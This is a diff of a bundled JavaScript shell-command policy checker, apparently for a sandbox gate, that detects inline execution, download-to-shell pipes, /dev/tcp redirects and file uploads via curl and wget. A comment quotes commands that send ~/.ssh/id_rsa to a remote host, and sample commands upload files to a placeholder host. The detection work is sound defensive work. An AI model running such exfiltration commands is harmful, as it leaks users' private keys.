}
|
|
2597
|
+
return out;
|
|
2598
|
+
}
|
|
2599
|
+
var HEX_RUN_RE = /\b(?:[0-9a-fA-F]{2}){24,}\b/g;
|
|
2600
|
+
var HEX_ESCAPE_RUN_RE = /(?:\\x[0-9a-fA-F]{2}){16,}/g;
|
|
2601
|
+
function decodeEmbeddedHex(text) {
|
|
2602
|
+
const out = [];
|
|
2603
|
+
for (const m of text.matchAll(HEX_RUN_RE)) {
|
|
2604
|
+
if (out.length >= MAX_BLOBS) break;
|
|
2605
|
+
const buf = Buffer.from(m[0], "hex");
|
|
2606
|
+
if (looksLikeText(buf)) out.push(buf.toString("utf8"));
|
|
2607
|
+
}
|
|
2608
|
+
for (const m of text.matchAll(HEX_ESCAPE_RUN_RE)) {
|
|
2609
|
+
if (out.length >= MAX_BLOBS) break;
|
|
2610
|
+
const buf = Buffer.from(m[0].replace(/\\x/g, ""), "hex");
|
|
2611
|
+
if (looksLikeText(buf)) out.push(buf.toString("utf8"));
|
|
2612
|
+
}
|
|
2613
|
+
return out;
|
|
2614
|
+
}
|
|
2615
|
+
function scanViews(text) {
|
|
2616
|
+
const views = [{ kind: "original", text }];
|
|
2617
|
+
const normalized = normalizeForScan(text);
|
|
2618
|
+
if (normalized !== text) views.push({ kind: "normalized", text: normalized });
|
|
2619
|
+
for (const t of decodeEmbeddedBase64(normalized)) {
|
|
2620
|
+
views.push({ kind: "base64", text: normalizeForScan(t) });
|
|
2621
|
+
}
|
|
2622
|
+
for (const t of decodeEmbeddedHex(normalized)) {
|
|
2623
|
+
views.push({ kind: "hex", text: normalizeForScan(t) });
|
|
2624
|
+
}
|
|
2625
|
+
return views;
|
|
2626
|
+
}
|
|
2627
|
+
|
|
2628
|
+
// src/shell/index.ts
|
|
2629
|
+
var { syntax } = import_mvdan_sh.default;
|
|
2630
|
+
var sharedParser = syntax.NewParser();
|
|
2631
|
+
var MESSAGE_FLAGS = /* @__PURE__ */ new Set([
|
|
2632
|
+
"-m",
|
|
2633
|
+
"--message",
|
|
2634
|
+
"--body",
|
|
2635
|
+
"--title",
|
|
2636
|
+
"--description",
|
|
2637
|
+
"--comment",
|
|
2638
|
+
"--subject",
|
|
2639
|
+
"--summary"
|
|
2640
|
+
]);
|
|
2641
|
+
var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
2642
|
+
"bash",
|
|
2643
|
+
"sh",
|
|
2644
|
+
"zsh",
|
|
2645
|
+
"fish",
|
|
2646
|
+
"dash",
|
|
2647
|
+
"ksh",
|
|
2648
|
+
"iex",
|
|
2649
|
+
"invoke-expression",
|
|
2650
|
+
"powershell",
|
|
2651
|
+
"pwsh"
|
|
2652
|
+
]);
|
|
2653
|
+
var DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
|
|
2654
|
+
"curl",
|
|
2655
|
+
"wget",
|
|
2656
|
+
"iwr",
|
|
2657
|
+
"invoke-webrequest",
|
|
2658
|
+
"irm",
|
|
2659
|
+
"invoke-restmethod"
|
|
2660
|
+
]);
|
|
2661
|
+
function isCatHeredocOrLit(part) {
|
|
2662
|
+
if (!part) return false;
|
|
2663
|
+
const t = syntax.NodeType(part);
|
|
2664
|
+
if (t === "Lit") return true;
|
|
2665
|
+
if (t !== "CmdSubst") return false;
|
|
2666
|
+
const stmts = part.Stmts || [];
|
|
2667
|
+
if (stmts.length !== 1) return false;
|
|
2668
|
+
const stmt = stmts[0];
|
|
2669
|
+
const redirs = stmt.Redirs || stmt.Cmd?.Redirs || [];
|
|
2670
|
+
const hasHeredoc = redirs.some((r) => r && r.Hdoc);
|
|
2671
|
+
if (!hasHeredoc) return false;
|
|
2672
|
+
const cmd = stmt.Cmd;
|
|
2673
|
+
if (!cmd || syntax.NodeType(cmd) !== "CallExpr") return false;
|
|
2674
|
+
const firstArg = cmd.Args?.[0]?.Parts || [];
|
|
2675
|
+
if (firstArg.length !== 1 || syntax.NodeType(firstArg[0]) !== "Lit") return false;
|
|
2676
|
+
return (firstArg[0].Value || "").toLowerCase() === "cat";
|
|
2677
|
+
}
|
|
2678
|
+
var NORMALIZE_CACHE_MAX = 5e3;
|
|
2679
|
+
var normalizeCache = /* @__PURE__ */ new Map();
|
|
2680
|
+
var AST_CACHE_MAX = 5e3;
|
|
2681
|
+
var astCache = /* @__PURE__ */ new Map();
|
|
2682
|
+
var PARSE_FAIL = /* @__PURE__ */ Symbol("parse-fail");
|
|
2683
|
+
function parseShared(command) {
|
|
2684
|
+
const cached = astCache.get(command);
|
|
2685
|
+
if (cached !== void 0) {
|
|
2686
|
+
astCache.delete(command);
|
|
2687
|
+
astCache.set(command, cached);
|
|
2688
|
+
return cached;
|
|
2689
|
+
}
|
|
2690
|
+
let parsed;
|
|
2691
|
+
try {
|
|
2692
|
+
parsed = sharedParser.Parse(command, "cmd");
|
|
2693
|
+
} catch {
|
|
2694
|
+
parsed = PARSE_FAIL;
|
|
2695
|
+
}
|
|
2696
|
+
if (astCache.size >= AST_CACHE_MAX) {
|
|
2697
|
+
const oldest = astCache.keys().next().value;
|
|
2698
|
+
if (oldest !== void 0) astCache.delete(oldest);
|
|
2228
2699
|
}
|
|
2229
2700
|
astCache.set(command, parsed);
|
|
2230
2701
|
return parsed;
|
|
@@ -2262,14 +2733,79 @@ function normalizeCommandForPolicy(command) {
|
|
|
2262
2733
|
}
|
|
2263
2734
|
function commandReadings(command) {
|
|
2264
2735
|
const r = commandReadingsImpl(command);
|
|
2265
|
-
|
|
2736
|
+
const out = /* @__PURE__ */ new Set([r.posix, r.separator, r.folded]);
|
|
2737
|
+
for (const payload of literalPayloadsOf(r.posix, 0)) {
|
|
2738
|
+
for (const reading of commandReadings(payload)) out.add(reading);
|
|
2739
|
+
}
|
|
2740
|
+
return [...out];
|
|
2741
|
+
}
|
|
2742
|
+
var MAX_READING_PAYLOADS = 8;
|
|
2743
|
+
function literalPayloadsOf(command, depth) {
|
|
2744
|
+
if (depth > 0 || !/\b(?:sh|bash|zsh|dash|ksh|eval)\b/.test(command)) return [];
|
|
2745
|
+
const f = parseShared(command);
|
|
2746
|
+
if (f === PARSE_FAIL) return [];
|
|
2747
|
+
const out = [];
|
|
2748
|
+
try {
|
|
2749
|
+
syntax.Walk(f, (node) => {
|
|
2750
|
+
if (!node || out.length >= MAX_READING_PAYLOADS) return false;
|
|
2751
|
+
const n = node;
|
|
2752
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
2753
|
+
const words = (n.Args || []).map((a) => resolveWordLiteral(a));
|
|
2754
|
+
if (words.length === 0) return true;
|
|
2755
|
+
const payload = literalShellPayload(words, baseWord(words[0]));
|
|
2756
|
+
if (payload !== null && payload !== command) out.push(payload);
|
|
2757
|
+
return true;
|
|
2758
|
+
});
|
|
2759
|
+
} catch {
|
|
2760
|
+
return out;
|
|
2761
|
+
}
|
|
2762
|
+
return out;
|
|
2763
|
+
}
|
|
2764
|
+
function foldCommandWords(reading) {
|
|
2765
|
+
if (!/[^\x00-\x7f]/.test(reading)) return reading;
|
|
2766
|
+
const f = parseShared(reading);
|
|
2767
|
+
if (f === PARSE_FAIL) return reading;
|
|
2768
|
+
const toCharIndex = byteOffsetToCharIndex(reading);
|
|
2769
|
+
const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
|
|
2770
|
+
const edits = [];
|
|
2771
|
+
try {
|
|
2772
|
+
syntax.Walk(f, (node) => {
|
|
2773
|
+
if (!node) return false;
|
|
2774
|
+
const n = node;
|
|
2775
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
2776
|
+
const args = n.Args || [];
|
|
2777
|
+
const words = args.map((a) => resolveWordLiteral(a));
|
|
2778
|
+
const folded = words.map((w) => w === null ? null : foldHomoglyphs(w));
|
|
2779
|
+
const head = unwrapCommandHead(folded);
|
|
2780
|
+
for (let i = 0; i <= head && i < args.length; i++) {
|
|
2781
|
+
const parts = args[i].Parts || [];
|
|
2782
|
+
if (parts.length !== 1 || syntax.NodeType(parts[0]) !== "Lit") continue;
|
|
2783
|
+
const value = parts[0].Value ?? "";
|
|
2784
|
+
const word = folded[i];
|
|
2785
|
+
if (word === null || word === value || !/[^\x00-\x7f]/.test(value)) continue;
|
|
2786
|
+
if (!/^[A-Za-z0-9._/-]+$/.test(word)) continue;
|
|
2787
|
+
const s = at(args[i].Pos().Offset());
|
|
2788
|
+
const e = at(args[i].End().Offset());
|
|
2789
|
+
if (s < 0 || e < 0) continue;
|
|
2790
|
+
edits.push([s, e, word]);
|
|
2791
|
+
}
|
|
2792
|
+
return true;
|
|
2793
|
+
});
|
|
2794
|
+
} catch {
|
|
2795
|
+
return reading;
|
|
2796
|
+
}
|
|
2797
|
+
if (edits.length === 0) return reading;
|
|
2798
|
+
edits.sort((a, b) => b[0] - a[0]);
|
|
2799
|
+
let out = reading;
|
|
2800
|
+
for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
|
|
2801
|
+
return out;
|
|
2266
2802
|
}
|
|
2267
2803
|
function commandReadingsImpl(command) {
|
|
2268
2804
|
return cachedNormalize(command, () => normalizeCommandForPolicyImpl(command));
|
|
2269
2805
|
}
|
|
2270
2806
|
function normalizeCommandForPolicyImpl(command) {
|
|
2271
2807
|
const f = parseShared(command);
|
|
2272
|
-
if (f === PARSE_FAIL) return { posix: command, separator: command };
|
|
2808
|
+
if (f === PARSE_FAIL) return { posix: command, separator: command, folded: command };
|
|
2273
2809
|
try {
|
|
2274
2810
|
const toCharIndex = byteOffsetToCharIndex(command);
|
|
2275
2811
|
const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
|
|
@@ -2337,9 +2873,10 @@ function normalizeCommandForPolicyImpl(command) {
|
|
|
2337
2873
|
for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
|
|
2338
2874
|
return out;
|
|
2339
2875
|
};
|
|
2340
|
-
|
|
2876
|
+
const posix = apply(rewrites);
|
|
2877
|
+
return { posix, separator: apply(quoteOnlyRewrites), folded: foldCommandWords(posix) };
|
|
2341
2878
|
} catch {
|
|
2342
|
-
return { posix: command, separator: command };
|
|
2879
|
+
return { posix: command, separator: command, folded: command };
|
|
2343
2880
|
}
|
|
2344
2881
|
}
|
|
2345
2882
|
function scanArgsForDynamicExec(args, startIdx) {
|
|
@@ -2909,6 +3446,27 @@ var FILE_OPERAND_FLAGS = {
|
|
|
2909
3446
|
sort: /* @__PURE__ */ new Set(["--files0-from"])
|
|
2910
3447
|
};
|
|
2911
3448
|
var SCP_VALUE_FLAGS = ["i", "F", "o", "c", "S", "P", "J", "D", "W", "l"];
|
|
3449
|
+
var CURL_SOURCE_FLAGS = [
|
|
3450
|
+
"T",
|
|
3451
|
+
"--upload-file",
|
|
3452
|
+
"d",
|
|
3453
|
+
"--data",
|
|
3454
|
+
"--data-binary",
|
|
3455
|
+
"--data-ascii",
|
|
3456
|
+
"--data-urlencode",
|
|
3457
|
+
"--json",
|
|
3458
|
+
"F",
|
|
3459
|
+
"--form"
|
|
3460
|
+
];
|
|
3461
|
+
var CURL_VALUE_LETTERS = "dFTHouXAebcKEmwxUrQtCPDyYz".split("");
|
|
3462
|
+
var WGET_VALUE_LETTERS = "OoaiBtTwQPeUARDIl".split("");
|
|
3463
|
+
function curlSourceOperand(flag, value) {
|
|
3464
|
+
const file = (f) => f && f !== "-" && f !== "." ? f : null;
|
|
3465
|
+
if (flag === "-T" || flag === "--upload-file") return file(value);
|
|
3466
|
+
if (flag === "--data-urlencode") return file(/^[^=@]*@(.+)$/.exec(value)?.[1]);
|
|
3467
|
+
if (flag === "-F" || flag === "--form") return file(/^[^=]*=[@<]([^;]+)/.exec(value)?.[1]);
|
|
3468
|
+
return value.startsWith("@") ? file(value.slice(1)) : null;
|
|
3469
|
+
}
|
|
2912
3470
|
var TAR_VALUE_LETTERS = ["b", "C", "f", "F", "g", "H", "I", "K", "L", "N", "T", "V", "X"];
|
|
2913
3471
|
var ZIP_VALUE_LETTERS = ["b", "n", "P", "t", "s", "O", "x", "i"];
|
|
2914
3472
|
var RSYNC_VALUE_LETTERS = ["e", "f", "T", "B", "M"];
|
|
@@ -2965,7 +3523,25 @@ var COPY_VERBS = {
|
|
|
2965
3523
|
"aws s3 mv": { source: "allButLast" },
|
|
2966
3524
|
"aws s3 sync": { source: "allButLast" },
|
|
2967
3525
|
"gcloud storage cp": { source: "allButLast" },
|
|
2968
|
-
"az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] }
|
|
3526
|
+
"az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] },
|
|
3527
|
+
// An HTTP upload is a copy out of the jail with the network as its
|
|
3528
|
+
// destination (fw#372 A2). Measured at the real gate before this row:
|
|
3529
|
+
// `curl -T ~/.ssh/id_rsa https://x/` and `curl -d @~/.ssh/id_rsa https://x/`
|
|
3530
|
+
// were ALLOWED in the shipped default (egress off, no taint on the file),
|
|
3531
|
+
// while `cp ~/.ssh/id_rsa /tmp/k` reviewed. The same slot model as the other
|
|
3532
|
+
// flagOperand verb; the read tier never saw curl because it prints nothing.
|
|
3533
|
+
// `--key`/`--cert` USE a file for TLS, like `ssh -i`, and stay quiet.
|
|
3534
|
+
curl: {
|
|
3535
|
+
source: "flagOperand",
|
|
3536
|
+
sourceFlags: CURL_SOURCE_FLAGS,
|
|
3537
|
+
sourceOperand: curlSourceOperand,
|
|
3538
|
+
valueLetters: CURL_VALUE_LETTERS
|
|
3539
|
+
},
|
|
3540
|
+
wget: {
|
|
3541
|
+
source: "flagOperand",
|
|
3542
|
+
sourceFlags: ["--post-file", "--body-file"],
|
|
3543
|
+
valueLetters: WGET_VALUE_LETTERS
|
|
3544
|
+
}
|
|
2969
3545
|
};
|
|
2970
3546
|
var TAR_MODE_WORD = /^[a-zA-Z]+$/;
|
|
2971
3547
|
var COPY_VERB_HEADS = new Set(Object.keys(COPY_VERBS).map((k) => k.split(" ")[0]));
|
|
@@ -3338,13 +3914,19 @@ function inlineExecStmt(stmt, pipeFed) {
|
|
|
3338
3914
|
}
|
|
3339
3915
|
let positionals2 = 0;
|
|
3340
3916
|
let selectedProgram = false;
|
|
3341
|
-
for (
|
|
3917
|
+
for (let i = 0; i < args.length; i++) {
|
|
3918
|
+
const a = args[i];
|
|
3342
3919
|
if (a == null) {
|
|
3343
3920
|
positionals2++;
|
|
3344
3921
|
selectedProgram = true;
|
|
3345
3922
|
continue;
|
|
3346
3923
|
}
|
|
3347
|
-
if (!selectedProgram && isInlineCodeFlag(interp, a))
|
|
3924
|
+
if (!selectedProgram && isInlineCodeFlag(interp, a)) {
|
|
3925
|
+
if (!/^(bash|sh|zsh|dash|ksh)$/.test(interp)) return true;
|
|
3926
|
+
const payload = args[i + 1];
|
|
3927
|
+
if (payload == null) return true;
|
|
3928
|
+
return shellPayloadNeedsReview(payload);
|
|
3929
|
+
}
|
|
3348
3930
|
if (a === "-m") {
|
|
3349
3931
|
selectedProgram = true;
|
|
3350
3932
|
continue;
|
|
@@ -3362,23 +3944,64 @@ function inlineExecStmt(stmt, pipeFed) {
|
|
|
3362
3944
|
}
|
|
3363
3945
|
return false;
|
|
3364
3946
|
}
|
|
3365
|
-
|
|
3366
|
-
|
|
3367
|
-
|
|
3368
|
-
|
|
3369
|
-
|
|
3370
|
-
|
|
3371
|
-
|
|
3372
|
-
|
|
3947
|
+
var MAX_PAYLOAD_NESTING = 8;
|
|
3948
|
+
var payloadNesting = 0;
|
|
3949
|
+
function shellPayloadNeedsReview(payload) {
|
|
3950
|
+
if (payloadNesting >= MAX_PAYLOAD_NESTING) return true;
|
|
3951
|
+
const f = parseShared(payload);
|
|
3952
|
+
if (f === PARSE_FAIL) return true;
|
|
3953
|
+
let review = false;
|
|
3954
|
+
payloadNesting++;
|
|
3373
3955
|
try {
|
|
3374
3956
|
syntax.Walk(f, (node) => {
|
|
3375
|
-
if (!node ||
|
|
3957
|
+
if (!node || review) return false;
|
|
3376
3958
|
const n = node;
|
|
3377
|
-
|
|
3378
|
-
|
|
3379
|
-
|
|
3380
|
-
|
|
3381
|
-
|
|
3959
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
3960
|
+
const words = (n.Args || []).map((a) => resolveWordLiteral(a));
|
|
3961
|
+
if (words.length === 0) return true;
|
|
3962
|
+
const h = unwrapCommandHead(words);
|
|
3963
|
+
const head = words[h];
|
|
3964
|
+
if (head === null || head === void 0) {
|
|
3965
|
+
review = true;
|
|
3966
|
+
return false;
|
|
3967
|
+
}
|
|
3968
|
+
const name = head.split("/").pop()?.toLowerCase() ?? "";
|
|
3969
|
+
if (name === "eval" || name === "source" || name === ".") {
|
|
3970
|
+
review = true;
|
|
3971
|
+
return false;
|
|
3972
|
+
}
|
|
3973
|
+
return true;
|
|
3974
|
+
});
|
|
3975
|
+
if (!review && detectDangerousShellExec(payload) !== null) review = true;
|
|
3976
|
+
if (!review && /\|\s*(?:[\w./-]*\/)?(?:ba|z|da|k|c|fi)?sh\b|\|\s*(?:python[\d.]*|node|perl|ruby|php)\b/i.test(
|
|
3977
|
+
payload
|
|
3978
|
+
))
|
|
3979
|
+
review = true;
|
|
3980
|
+
if (!review && detectInlineExec(payload)) review = true;
|
|
3981
|
+
} catch {
|
|
3982
|
+
review = true;
|
|
3983
|
+
} finally {
|
|
3984
|
+
payloadNesting--;
|
|
3985
|
+
}
|
|
3986
|
+
return review;
|
|
3987
|
+
}
|
|
3988
|
+
function detectInlineExec(command) {
|
|
3989
|
+
const f = parseShared(command);
|
|
3990
|
+
if (f === PARSE_FAIL) {
|
|
3991
|
+
return /(^|[|;&]|&&)\s*(?:[\w./-]*\/)?(python[\d.]*|perl|ruby|node|php|lua|deno|bun|pwsh|osascript|rscript|bash|sh|zsh)\s+-{1,2}[a-z]*[ceEr]/i.test(
|
|
3992
|
+
command
|
|
3993
|
+
);
|
|
3994
|
+
}
|
|
3995
|
+
let found = false;
|
|
3996
|
+
try {
|
|
3997
|
+
syntax.Walk(f, (node) => {
|
|
3998
|
+
if (!node || found) return false;
|
|
3999
|
+
const n = node;
|
|
4000
|
+
const t = syntax.NodeType(n);
|
|
4001
|
+
if (t === "BinaryCmd" && n.Y && !listOps().has(n.Op)) {
|
|
4002
|
+
if (inlineExecStmt(n.Y, true)) {
|
|
4003
|
+
found = true;
|
|
4004
|
+
return false;
|
|
3382
4005
|
}
|
|
3383
4006
|
}
|
|
3384
4007
|
if (t === "Stmt" && inlineExecStmt(n, false)) {
|
|
@@ -3442,12 +4065,81 @@ function positionedArgs(words, from = 1, to = words.length) {
|
|
|
3442
4065
|
function extractLiteralArgs(callExpr) {
|
|
3443
4066
|
const rawArgs = callExpr.Args || [];
|
|
3444
4067
|
if (rawArgs.length === 0) return { name: "", flags: [], paths: [], words: [], args: [] };
|
|
3445
|
-
const words = rawArgs.map((a) => resolveWordLiteral(a));
|
|
4068
|
+
const words = rawArgs.map((a) => windowsDrivePathSpelling(a) ?? resolveWordLiteral(a));
|
|
3446
4069
|
const name = baseWord(words[0]);
|
|
3447
4070
|
const flags = words.slice(1).filter((w) => w !== null && w.startsWith("-"));
|
|
3448
4071
|
const args = positionedArgs(words);
|
|
3449
4072
|
return { name, flags, paths: args.map((a) => a.value), words, args };
|
|
3450
4073
|
}
|
|
4074
|
+
var SCRIPT_RUNNERS = /* @__PURE__ */ new Set(["bash", "sh", "zsh", "dash", "ksh", "source", "."]);
|
|
4075
|
+
var SCRIPT_RUNNER_VALUE_FLAGS = /* @__PURE__ */ new Set(["-o", "+o", "-O", "+O", "--rcfile", "--init-file"]);
|
|
4076
|
+
var MAX_SCRIPT_OPERANDS = 8;
|
|
4077
|
+
function shellScriptOperands(command) {
|
|
4078
|
+
const f = parseShared(command);
|
|
4079
|
+
if (f === PARSE_FAIL) return [];
|
|
4080
|
+
const out = [];
|
|
4081
|
+
const seen = /* @__PURE__ */ new Set();
|
|
4082
|
+
const add = (p) => {
|
|
4083
|
+
if (!p || p.startsWith("-") || seen.has(p) || out.length >= MAX_SCRIPT_OPERANDS) return;
|
|
4084
|
+
if (/(^|[\\/])node_modules[\\/]|[\\/]\.bin[\\/]/.test(p)) return;
|
|
4085
|
+
seen.add(p);
|
|
4086
|
+
out.push(p);
|
|
4087
|
+
};
|
|
4088
|
+
try {
|
|
4089
|
+
walkWithCalls(f, (node) => {
|
|
4090
|
+
if (!node) return false;
|
|
4091
|
+
const n = node;
|
|
4092
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
4093
|
+
const callArgs = n.Args || [];
|
|
4094
|
+
if (callArgs.length === 0) return true;
|
|
4095
|
+
const words = callArgs.map((a) => resolveWordLiteral(a));
|
|
4096
|
+
const h = unwrapCommandHead(words);
|
|
4097
|
+
const headWord = words[h];
|
|
4098
|
+
if (headWord === null || headWord === void 0) return true;
|
|
4099
|
+
const name = baseWord(headWord);
|
|
4100
|
+
if (SCRIPT_RUNNERS.has(name)) {
|
|
4101
|
+
for (let i = h + 1; i < words.length; i++) {
|
|
4102
|
+
const w = words[i];
|
|
4103
|
+
if (w === null) return true;
|
|
4104
|
+
if (w === "-c" || w === "-lc" || w === "-ec") return true;
|
|
4105
|
+
if (w === "--") {
|
|
4106
|
+
add(words[i + 1] ?? null);
|
|
4107
|
+
return true;
|
|
4108
|
+
}
|
|
4109
|
+
if (w.startsWith("-") || w.startsWith("+")) {
|
|
4110
|
+
if (SCRIPT_RUNNER_VALUE_FLAGS.has(w)) i++;
|
|
4111
|
+
continue;
|
|
4112
|
+
}
|
|
4113
|
+
add(w);
|
|
4114
|
+
return true;
|
|
4115
|
+
}
|
|
4116
|
+
return true;
|
|
4117
|
+
}
|
|
4118
|
+
if (/[\\/]/.test(headWord)) add(headWord);
|
|
4119
|
+
return true;
|
|
4120
|
+
});
|
|
4121
|
+
} catch {
|
|
4122
|
+
return out;
|
|
4123
|
+
}
|
|
4124
|
+
return out;
|
|
4125
|
+
}
|
|
4126
|
+
function windowsDrivePathSpelling(word) {
|
|
4127
|
+
const parts = word?.Parts || [];
|
|
4128
|
+
if (parts.length === 0 || !parts.every((p) => syntax.NodeType(p) === "Lit")) return null;
|
|
4129
|
+
const raw = parts.map((p) => p.Value ?? "").join("");
|
|
4130
|
+
return /^[A-Za-z]:\\[^\s'"$`]*$/.test(raw) ? raw : null;
|
|
4131
|
+
}
|
|
4132
|
+
function devNetRedirectHost(word) {
|
|
4133
|
+
if (!word) return null;
|
|
4134
|
+
const m = /^\/dev\/(tcp|udp)\/([^/\s]+)\/([^/\s]+)$/i.exec(word.trim());
|
|
4135
|
+
if (!m) return null;
|
|
4136
|
+
const host2 = m[2].toLowerCase();
|
|
4137
|
+
return host2.length <= 253 ? host2 : null;
|
|
4138
|
+
}
|
|
4139
|
+
function redirectWords(stmt) {
|
|
4140
|
+
const redirs = stmt.Redirs || [];
|
|
4141
|
+
return redirs.filter((r) => r && r.Word).map((r) => resolveWordLiteral(r.Word));
|
|
4142
|
+
}
|
|
3451
4143
|
var NET_BINARIES = /* @__PURE__ */ new Set([
|
|
3452
4144
|
// PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
|
|
3453
4145
|
// is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
|
|
@@ -3970,7 +4662,18 @@ function extractShellDestinations(command) {
|
|
|
3970
4662
|
() => walkWithCalls(f, (node) => {
|
|
3971
4663
|
if (!node) return false;
|
|
3972
4664
|
const n = node;
|
|
3973
|
-
if (syntax.NodeType(n) === "Stmt")
|
|
4665
|
+
if (syntax.NodeType(n) === "Stmt") {
|
|
4666
|
+
trackStatement(n);
|
|
4667
|
+
for (const raw of redirectWords(n)) {
|
|
4668
|
+
const host2 = devNetRedirectHost(raw);
|
|
4669
|
+
if (!host2) continue;
|
|
4670
|
+
const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
|
|
4671
|
+
const key = `${binary}:${host2}`;
|
|
4672
|
+
if (seen.has(key)) continue;
|
|
4673
|
+
seen.add(key);
|
|
4674
|
+
out.push({ host: host2, binary, raw });
|
|
4675
|
+
}
|
|
4676
|
+
}
|
|
3974
4677
|
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
3975
4678
|
const callArgs = n.Args || [];
|
|
3976
4679
|
if (callArgs.length === 0) return true;
|
|
@@ -4006,7 +4709,18 @@ function extractShellDestTokens(command) {
|
|
|
4006
4709
|
() => walkWithCalls(f, (node) => {
|
|
4007
4710
|
if (!node) return false;
|
|
4008
4711
|
const n = node;
|
|
4009
|
-
if (syntax.NodeType(n) === "Stmt")
|
|
4712
|
+
if (syntax.NodeType(n) === "Stmt") {
|
|
4713
|
+
trackStatement(n);
|
|
4714
|
+
for (const raw of redirectWords(n)) {
|
|
4715
|
+
const host2 = devNetRedirectHost(raw);
|
|
4716
|
+
if (!host2) continue;
|
|
4717
|
+
const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
|
|
4718
|
+
const key = `${binary}:${host2}`;
|
|
4719
|
+
if (seen.has(key)) continue;
|
|
4720
|
+
seen.add(key);
|
|
4721
|
+
out.push({ token: host2, binary });
|
|
4722
|
+
}
|
|
4723
|
+
}
|
|
4010
4724
|
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
4011
4725
|
const callArgs = n.Args || [];
|
|
4012
4726
|
if (callArgs.length === 0) return true;
|
|
@@ -4358,8 +5072,11 @@ function copySourcePaths(words) {
|
|
|
4358
5072
|
const out = [];
|
|
4359
5073
|
for (const action of findActions(words, fi)) {
|
|
4360
5074
|
const h2 = unwrapCommandHead(action);
|
|
4361
|
-
|
|
4362
|
-
|
|
5075
|
+
const shape2 = resolveCopyShape(action, h2);
|
|
5076
|
+
if (!shape2) continue;
|
|
5077
|
+
const inner = copySourcePaths(action);
|
|
5078
|
+
const startsCopied = shape2.shape.source !== "flagOperand" || inner.some((p) => p.includes("{}"));
|
|
5079
|
+
out.push(...startsCopied ? starts : [], ...inner);
|
|
4363
5080
|
}
|
|
4364
5081
|
return out;
|
|
4365
5082
|
}
|
|
@@ -4415,11 +5132,24 @@ function copySourcePaths(words) {
|
|
|
4415
5132
|
);
|
|
4416
5133
|
return f.letter !== null && names.includes(f.letter);
|
|
4417
5134
|
};
|
|
4418
|
-
const
|
|
5135
|
+
const sourceFlagName = (w) => {
|
|
5136
|
+
const names = shape.sourceFlags ?? [];
|
|
5137
|
+
if (w.startsWith("--")) {
|
|
5138
|
+
const name = w.includes("=") ? w.slice(0, w.indexOf("=")) : w;
|
|
5139
|
+
return names.find(
|
|
5140
|
+
(n) => n.startsWith("--") && (n === name || name.length >= 3 && n.startsWith(name))
|
|
5141
|
+
) ?? name;
|
|
5142
|
+
}
|
|
5143
|
+
const letters = w.slice(1);
|
|
5144
|
+
const owner = letters.split("").find((c) => (shape.valueLetters ?? names).includes(c));
|
|
5145
|
+
return `-${owner ?? letters[letters.length - 1]}`;
|
|
5146
|
+
};
|
|
5147
|
+
const operandFile = (flag, value) => shape.sourceOperand ? shape.sourceOperand(flag, value) : value;
|
|
5148
|
+
const inline = tail.filter((w) => w !== null && w.startsWith("-")).map((w) => flagInfo(w)).filter((f) => f.attached !== null && namesSource(f)).map((f) => operandFile(f.long ?? sourceFlagName(`-${f.letter}`), f.attached));
|
|
4419
5149
|
return [
|
|
4420
|
-
...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => a.value),
|
|
5150
|
+
...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => operandFile(sourceFlagName(a.afterFlag), a.value)),
|
|
4421
5151
|
...inline
|
|
4422
|
-
];
|
|
5152
|
+
].filter((p) => p !== null);
|
|
4423
5153
|
}
|
|
4424
5154
|
case "archive":
|
|
4425
5155
|
src = archiveInputs(shape.archive, args, tail);
|
|
@@ -4473,6 +5203,8 @@ function sampleCopyCommand(verb, src) {
|
|
|
4473
5203
|
case "all":
|
|
4474
5204
|
return `${verb} -c ${src} > /tmp/n9-out`;
|
|
4475
5205
|
case "flagOperand":
|
|
5206
|
+
if (verb === "curl") return `curl -T ${src} https://host.invalid/upload`;
|
|
5207
|
+
if (verb === "wget") return `wget --post-file=${src} https://host.invalid/upload`;
|
|
4476
5208
|
return `${verb} -f ${src} -c n9`;
|
|
4477
5209
|
case "archive":
|
|
4478
5210
|
return shape.archive === "tar" ? `tar czf /tmp/n9-out.tgz ${src}` : shape.archive === "zip" ? `zip -r /tmp/n9-out.zip ${src}` : shape.archive === "ar" ? `ar rc /tmp/n9-out.a ${src}` : `7z a /tmp/n9-out.7z ${src}`;
|
|
@@ -5347,6 +6079,12 @@ function collectShellFileAccesses(command, context = {}) {
|
|
|
5347
6079
|
if (FS_READ_TOOLS.has(name) && name !== "dd") {
|
|
5348
6080
|
for (const p of readerPaths(words, head)) add("read", locate(p), state);
|
|
5349
6081
|
}
|
|
6082
|
+
if (["ls", "tree", "dir", "vdir"].includes(name)) {
|
|
6083
|
+
for (const token of args) {
|
|
6084
|
+
if (!token || token.value.startsWith("-")) continue;
|
|
6085
|
+
add("read", token, state, { listing: true });
|
|
6086
|
+
}
|
|
6087
|
+
}
|
|
5350
6088
|
if (name === "dd") {
|
|
5351
6089
|
for (const token of args)
|
|
5352
6090
|
if (token && /^(?:if|of)=/.test(token.value)) {
|
|
@@ -5562,6 +6300,8 @@ function collectShellFileAccesses(command, context = {}) {
|
|
|
5562
6300
|
function findActions2(tokens, words, head, state, nested, depth) {
|
|
5563
6301
|
const starts = findStartPoints(words, head).starts;
|
|
5564
6302
|
const roots = (starts.length ? starts : ["."]).slice(0, MAX_ALTERNATIVES);
|
|
6303
|
+
for (const start of starts.slice(0, MAX_ALTERNATIVES))
|
|
